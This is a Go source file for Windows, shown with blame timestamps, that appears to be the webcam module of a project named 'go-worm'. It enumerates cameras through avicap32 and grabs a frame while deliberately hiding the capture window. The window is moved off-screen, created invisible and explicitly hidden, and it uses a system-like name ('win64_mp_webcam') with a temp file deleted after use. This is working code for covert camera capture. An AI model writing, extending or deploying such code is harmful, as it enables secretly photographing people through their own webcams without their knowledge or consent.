2026-08-29 18:34:05 +03:00
|
|
|
//go:build windows
|
|
|
|
|
|
|
|
|
|
package webcam
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"errors"
|
|
|
|
|
"fmt"
|
|
|
|
|
"os"
|
|
|
|
|
"path/filepath"
|
|
|
|
|
"sync"
|
|
|
|
|
"syscall"
|
|
|
|
|
"unsafe"
|
|
|
|
|
|
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
// ponytail: VFW (avicap32) — works for many UVC cams via WDM mapper; MF would cover more exotic devices.
|
|
|
|
|
|
|
|
|
|
var ErrDeviceNotFound = errors.New("webcam not found")
|
|
|
|
|
|
|
|
|
|
var (
|
|
|
|
|
avicap32 = syscall.NewLazyDLL("avicap32.dll")
|
|
|
|
|
user32 = syscall.NewLazyDLL("user32.dll")
|
|
|
|
|
procCapCreateCaptureWindowW = avicap32.NewProc("capCreateCaptureWindowW")
|
|
|
|
|
procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
|
|
|
|
|
procSendMessageW = user32.NewProc("SendMessageW")
|
|
|
|
|
procDestroyWindow = user32.NewProc("DestroyWindow")
|
2026-09-01 23:25:06 +03:00
|
|
|
procShowWindow = user32.NewProc("ShowWindow")
|
2026-08-29 18:34:05 +03:00
|
|
|
captureMu sync.Mutex
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
const (
|
2026-09-01 23:25:06 +03:00
|
|
|
wmUser = 0x0400
|
|
|
|
|
wmCapStart = wmUser
|
|
|
|
|
wmCapUnicodeStart = wmUser + 100
|
|
|
|
|
wmCapDriverConnect = wmCapStart + 10
|
2026-08-29 18:34:05 +03:00
|
|
|
wmCapDriverDisconnect = wmCapStart + 11
|
2026-09-01 23:25:06 +03:00
|
|
|
wmCapFileSaveDIBW = wmCapUnicodeStart + 25
|
|
|
|
|
wmCapGrabFrame = wmCapStart + 60
|
|
|
|
|
wmCapSetPreview = wmCapStart + 50
|
|
|
|
|
wmCapSetScale = wmCapStart + 53
|
|
|
|
|
wsPopup = 0x80000000
|
|
|
|
|
swHide = 0
|
|
|
|
|
maxDrivers = 10
|
2026-08-29 18:34:05 +03:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
type Device struct {
|
|
|
|
|
Index int `json:"index"`
|
|
|
|
|
Name string `json:"name"`
|
|
|
|
|
Version string `json:"version,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func List() ([]Device, error) {
|
|
|
|
|
var out []Device
|
|
|
|
|
for i := 0; i < maxDrivers; i++ {
|
|
|
|
|
nameBuf := make([]uint16, 128)
|
|
|
|
|
verBuf := make([]uint16, 128)
|
|
|
|
|
ok, _, _ := procCapGetDriverDescriptionW.Call(
|
|
|
|
|
uintptr(i),
|
|
|
|
|
uintptr(unsafe.Pointer(&nameBuf[0])),
|
|
|
|
|
uintptr(len(nameBuf)),
|
|
|
|
|
uintptr(unsafe.Pointer(&verBuf[0])),
|
|
|
|
|
uintptr(len(verBuf)),
|
|
|
|
|
)
|
|
|
|
|
if ok == 0 {
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
name := syscall.UTF16ToString(nameBuf)
|
|
|
|
|
if name == "" {
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
out = append(out, Device{
|
|
|
|
|
Index: i,
|
|
|
|
|
Name: name,
|
|
|
|
|
Version: syscall.UTF16ToString(verBuf),
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
return out, nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func Capture(index int, format string, quality int) (models.CapturedImage, error) {
|
|
|
|
|
captureMu.Lock()
|
|
|
|
|
defer captureMu.Unlock()
|
|
|
|
|
|
|
|
|
|
devices, err := List()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return models.CapturedImage{}, err
|
|
|
|
|
}
|
|
|
|
|
found := false
|
|
|
|
|
for _, d := range devices {
|
|
|
|
|
if d.Index == index {
|
|
|
|
|
found = true
|
|
|
|
|
break
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if !found {
|
|
|
|
|
return models.CapturedImage{}, ErrDeviceNotFound
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
title, err := syscall.UTF16PtrFromString("win64_mp_webcam")
|
|
|
|
|
if err != nil {
|
|
|
|
|
return models.CapturedImage{}, err
|
|
|
|
|
}
|
2026-09-01 23:25:06 +03:00
|
|
|
off := ^uintptr(31999) // -32000, off-screen so VFW's HWND never appears
|
2026-08-29 18:34:05 +03:00
|
|
|
hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
|
|
|
|
|
uintptr(unsafe.Pointer(title)),
|
2026-09-01 23:25:06 +03:00
|
|
|
wsPopup, // no WS_VISIBLE
|
|
|
|
|
off, off, 320, 240,
|
2026-08-29 18:34:05 +03:00
|
|
|
0, 0,
|
|
|
|
|
)
|
|
|
|
|
if hwnd == 0 {
|
|
|
|
|
return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
|
|
|
|
|
}
|
2026-09-01 23:25:06 +03:00
|
|
|
_, _, _ = procShowWindow.Call(hwnd, uintptr(swHide))
|
2026-08-29 18:34:05 +03:00
|
|
|
defer procDestroyWindow.Call(hwnd)
|
|
|
|
|
|
|
|
|
|
ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)
|
|
|
|
|
if ok == 0 {
|
|
|
|
|
return models.CapturedImage{}, fmt.Errorf("connect webcam %d failed", index)
|
|
|
|
|
}
|
|
|
|
|
defer procSendMessageW.Call(hwnd, wmCapDriverDisconnect, 0, 0)
|
|
|
|
|
|
|
|
|
|
_, _, _ = procSendMessageW.Call(hwnd, wmCapSetPreview, 0, 0)
|
|
|
|
|
_, _, _ = procSendMessageW.Call(hwnd, wmCapSetScale, 1, 0)
|
|
|
|
|
ok, _, _ = procSendMessageW.Call(hwnd, wmCapGrabFrame, 0, 0)
|
|
|
|
|
if ok == 0 {
|
|
|
|
|
return models.CapturedImage{}, errors.New("grab frame failed")
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
tmp, err := os.CreateTemp("", "win64_mp_webcam_*.bmp")
|
|
|
|
|
if err != nil {
|
|
|
|
|
return models.CapturedImage{}, err
|
|
|
|
|
}
|
|
|
|
|
tmpPath := tmp.Name()
|
|
|
|
|
_ = tmp.Close()
|
|
|
|
|
defer os.Remove(tmpPath)
|
|
|
|
|
|
|
|
|
|
pathPtr, err := syscall.UTF16PtrFromString(tmpPath)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return models.CapturedImage{}, err
|
|
|
|
|
}
|
|
|
|
|
ok, _, _ = procSendMessageW.Call(hwnd, wmCapFileSaveDIBW, 0, uintptr(unsafe.Pointer(pathPtr)))
|
|
|
|
|
if ok == 0 {
|
|
|
|
|
// Some drivers only accept ANSI SAVEDIB.
|
|
|
|
|
ansiPath, err := syscall.BytePtrFromString(filepath.Clean(tmpPath))
|
|
|
|
|
if err != nil {
|
|
|
|
|
return models.CapturedImage{}, errors.New("save frame failed")
|
|
|
|
|
}
|
|
|
|
|
ok, _, _ = procSendMessageW.Call(hwnd, wmCapStart+25, 0, uintptr(unsafe.Pointer(ansiPath)))
|
|
|
|
|
if ok == 0 {
|
|
|
|
|
return models.CapturedImage{}, errors.New("save frame failed")
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
raw, err := os.ReadFile(tmpPath)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return models.CapturedImage{}, err
|
|
|
|
|
}
|
|
|
|
|
img, err := decodeBMP(raw)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return models.CapturedImage{}, err
|
|
|
|
|
}
|
|
|
|
|
data, contentType, err := encodeImage(img, format, quality)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return models.CapturedImage{}, err
|
|
|
|
|
}
|
|
|
|
|
b := img.Bounds()
|
|
|
|
|
return models.CapturedImage{
|
|
|
|
|
ContentType: contentType,
|
|
|
|
|
Data: data,
|
|
|
|
|
Width: b.Dx(),
|
|
|
|
|
Height: b.Dy(),
|
|
|
|
|
}, nil
|
|
|
|
|
}
|